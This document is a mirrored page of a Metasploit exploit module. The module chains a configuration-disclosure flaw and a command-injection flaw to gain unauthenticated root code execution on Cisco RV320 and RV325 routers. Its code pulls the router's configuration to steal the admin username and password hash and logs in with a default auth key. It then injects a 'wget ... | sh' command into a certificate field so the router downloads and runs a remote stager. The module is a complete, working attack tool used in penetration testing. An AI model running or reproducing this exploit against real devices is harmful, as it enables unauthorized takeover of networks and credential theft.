Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/cisco_rv32x_rce.rb
19611 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::HttpServer::HTML
11
include Msf::Exploit::CmdStager
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",
18
'Description' => %q{
19
This exploit module combines an information disclosure (CVE-2019-1653)
20
and a command injection vulnerability (CVE-2019-1652) together to gain
21
unauthenticated remote code execution on Cisco RV320 and RV325 small business
22
routers. Can be exploited via the WAN interface of the router. Either via HTTPS
23
on port 443 or HTTP on port 8007 on some older firmware versions.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'RedTeam Pentesting GmbH', # Discovery, Metasploit
28
'Philip Huppert', # Discovery
29
'Benjamin Grap' # Metasploit
30
],
31
'References' => [
32
[ 'CVE', '2019-1653' ],
33
[ 'CVE', '2019-1652' ],
34
[ 'EDB', '46243' ],
35
[ 'BID', '106728' ],
36
[ 'BID', '106732' ],
37
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],
38
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]
39
],
40
'Platform' => 'linux',
41
'Targets' => [
42
[
43
'LINUX MIPS64',
44
{
45
'Platform' => 'linux',
46
'Arch' => ARCH_MIPS64
47
}
48
]
49
],
50
'Payload' => {
51
'BadChars' => ""
52
},
53
'CmdStagerFlavor' => [ 'bourne' ],
54
'Privileged' => true,
55
'DisclosureDate' => '2018-09-09',
56
'DefaultTarget' => 0,
57
'Notes' => {
58
'Reliability' => UNKNOWN_RELIABILITY,
59
'Stability' => UNKNOWN_STABILITY,
60
'SideEffects' => UNKNOWN_SIDE_EFFECTS
61
}
62
)
63
)
64
65
register_options([
66
Opt::RPORT(8007), # port of Cisco webinterface
67
OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),
68
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),
69
OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.
70
])
71
deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.
72
deregister_options('SSLCert') # not required since stager only uses HTTP.
73
end
74
75
def execute_command(cmd, opts = {})
76
# use generated payload, we don't have to do anything here
77
end
78
79
def autofilter
80
true
81
end
82
83
def on_request_uri(cli, req)
84
print_status("#{peer} - Payload request received: #{req.uri}")
85
@cmdstager = generate_cmdstager().join(';')
86
send_response(cli, "#{@cmdstager}")
87
end
88
89
def primer
90
payload_url = get_uri
91
print_status("Downloading configuration from #{peer}")
92
if (datastore['USE_SSL'])
93
print_status("Using SSL connection to router.")
94
end
95
res = send_request_cgi({
96
'uri' => normalize_uri("cgi-bin", "config.exp"),
97
'SSL' => datastore['USE_SSL']
98
})
99
unless res
100
vprint_error('Connection failed.')
101
return nil
102
end
103
104
unless res.code == 200
105
vprint_error('Could not download config. Aborting.')
106
return nil
107
end
108
109
print_status("Successfully downloaded config")
110
username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]
111
pass = res.body.match(/^PASSWD=(\h+)/)[1]
112
authkey = "1964300002"
113
print_status("Got MD5-Hash: #{pass}")
114
print_status("Loging in as user #{username} using password hash.")
115
print_status("Using default auth_key #{authkey}")
116
res2 = send_request_cgi({
117
'uri' => normalize_uri("cgi-bin", "userLogin.cgi"),
118
'SSL' => datastore['USE_SSL'],
119
'method' => 'POST',
120
'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch&current_password=&new_password=&re_new_password="
121
})
122
123
unless res
124
vprint_error('Connection failed during login. Aborting.')
125
return nil
126
end
127
128
unless res.code == 200
129
vprint_error('Login failed with downloaded credentials. Aborting.')
130
return nil
131
end
132
133
# Extract authentication cookies
134
cookies = res2.get_cookies()
135
print_status("Successfully logged in as user #{username}.")
136
print_status("Got cookies: #{cookies}")
137
print_status("Sending payload. Staging via #{payload_url}.")
138
# Build staging command
139
command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
140
if (command_string.length <= 63)
141
print_status("Staging command length looks good. Sending exploit!")
142
else
143
vprint_error("Warning: Staging command length probably too long. Trying anyway...")
144
end
145
146
res3 = send_request_cgi({
147
'uri' => normalize_uri("certificate_handle2.htm"),
148
'SSL' => datastore['USE_SSL'],
149
'method' => 'POST',
150
'cookie' => cookies,
151
'vars_get' => {
152
'type' => '4',
153
},
154
'vars_post' => {
155
'page' => 'self_generator.htm',
156
'totalRules' => '1',
157
'OpenVPNRules' => '30',
158
'submitStatus' => '1',
159
'log_ch' => '1',
160
'type' => '4',
161
'Country' => 'A',
162
'state' => 'A',
163
'locality' => 'A',
164
'organization' => 'A',
165
'organization_unit' => 'A',
166
'email' => '[email protected]',
167
'KeySize' => '512',
168
'KeyLength' => '1024',
169
'valid_days' => '30',
170
'SelectSubject_c' => '1',
171
'SelectSubject_s' => '1'
172
},
173
'data' => "common_name=#{command_string}"
174
})
175
unless res3
176
vprint_error('Connection failed while sending command. Aborting.')
177
return nil
178
end
179
180
unless res3.code == 200
181
vprint_error('Sending command not successful.')
182
return nil
183
end
184
print_status("Sending payload timed out. Waiting for stager to connect...")
185
end
186
187
def check
188
# Check if device is vulnerable by downloading the config
189
res = send_request_cgi({ 'uri' => normalize_uri("cgi-bin", "config.exp") })
190
191
unless res
192
vprint_error('Connection failed.')
193
return CheckCode::Unknown
194
end
195
196
unless res.code == 200
197
return CheckCode::Safe
198
end
199
200
unless res.body =~ /PASSWD/
201
return CheckCode::Detected
202
end
203
204
CheckCode::Vulnerable
205
end
206
207
def exploit
208
# Main function.
209
# Setting delay for the Stager.
210
Timeout.timeout(datastore['HTTPDELAY']) { super }
211
rescue Timeout::Error
212
print_status("Waiting for stager connection timed out. Try increasing the delay.")
213
end
214
end
215
216